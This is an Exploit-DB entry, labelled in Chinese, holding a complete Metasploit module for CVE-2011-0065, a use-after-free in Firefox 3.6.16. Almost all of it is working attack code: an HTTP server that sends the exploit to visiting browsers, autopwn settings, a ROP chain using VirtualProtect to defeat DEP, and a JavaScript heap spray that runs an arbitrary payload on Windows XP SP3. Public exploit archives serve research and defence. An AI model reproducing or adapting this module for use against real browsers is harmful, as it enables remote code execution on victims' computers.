标题: Mozilla Firefox 3.6.16 - OBJECT mChannel Remote Code Execution (DEP Bypass) (Metasploit) EDB-ID: 17612 CVE: 2011-0065 类型: REMOTE 平台: WINDOWS 发布日期: 2011-08-05 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name => HttpClients::FF,
  :ua_minver => "3.6.16",
  :ua_maxver => "3.6.16",
  :os_name => OperatingSystems::WINDOWS,
  :javascript => true,
  :rank => NormalRanking,
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mozilla Firefox 3.6.16 mChannel use after free Exploit',
   'Description'    => %q{
     This module exploits an use after free vulnerability in Mozilla
    Firefox 3.6.16. An OBJECT Element mChannel can be freed via the 
    OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
    becomes a dangling pointer and can be reused when setting the OBJECTs 
    data attribute. (Discovered by regenrecht). This module uses heapspray
    with a minimal ROP chain to bypass DEP on Windows XP SP3
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'regenrecht',   #  discovery
     'Rh0'    # wrote metasploit module
    ],
   'Version'        => '0.0',
   'References'     =>
    [
     ['CVE',    '2011-0065'],
     ['OSVDB',  '72085'],
     ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
     ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "",
    },
   'Targets'        =>
    [ # worked with 100% reliability
     [ 'Firefox 3.6.16, Windows XP SP3 (VirtualBox 4)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 10 2011'
   ))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli).encoded) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)
 end

 def generate_html(payload)
  
  # DEP bypass
  custom_stack = [
   0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff add [eax],eax / xor eax,eax / pop esi / retN 0x8
   0x7c801ad4,  # VirtualProtect 
   0xbeeff00d,
   0xbeeff00d,
   0x7c874413, # jmp esp
   0x0c0c0048, # start address
   0x00000400, # size 1024
   0x00000040, # Page EXECUTE_READ_WRITE
   0x0c0c0c00 # old protection
   ].pack("V*")
   
  payload_buf = ''
  payload_buf << custom_stack
  payload_buf << payload
  escaped_payload = Rex::Text.to_unescape(payload_buf)
  
  custom_js = %Q|
  
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\\x0c%u0c0c")

// taken and modified from adobe_flashplayer_newfunction.rb
var sc = unescape("#{escaped_payload}")
var ret_addr = unescape("%u0024%u0c0c")
while(ret_addr.length+20+8 < 0x100000) {ret_addr += ret_addr}
var b = ret_addr.substring(0,(0x48-0x24)/2)
b += sc
b += ret_addr
var next = b.substring(0,0x10000/2)
while(next.length<0x800000) {next += next}
var again = next.substring(0,0x80000 - (0x1020-0x08)/2)
array = new Array()
for (n=0;n<0x1f0;n++){
 array[n] = again + sc
}

e.data = ""
  |
  
  return %Q|
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
#{custom_js}
</script></body></html>
  |
 end

end URL: https://www.exploit-db.com/exploits/17612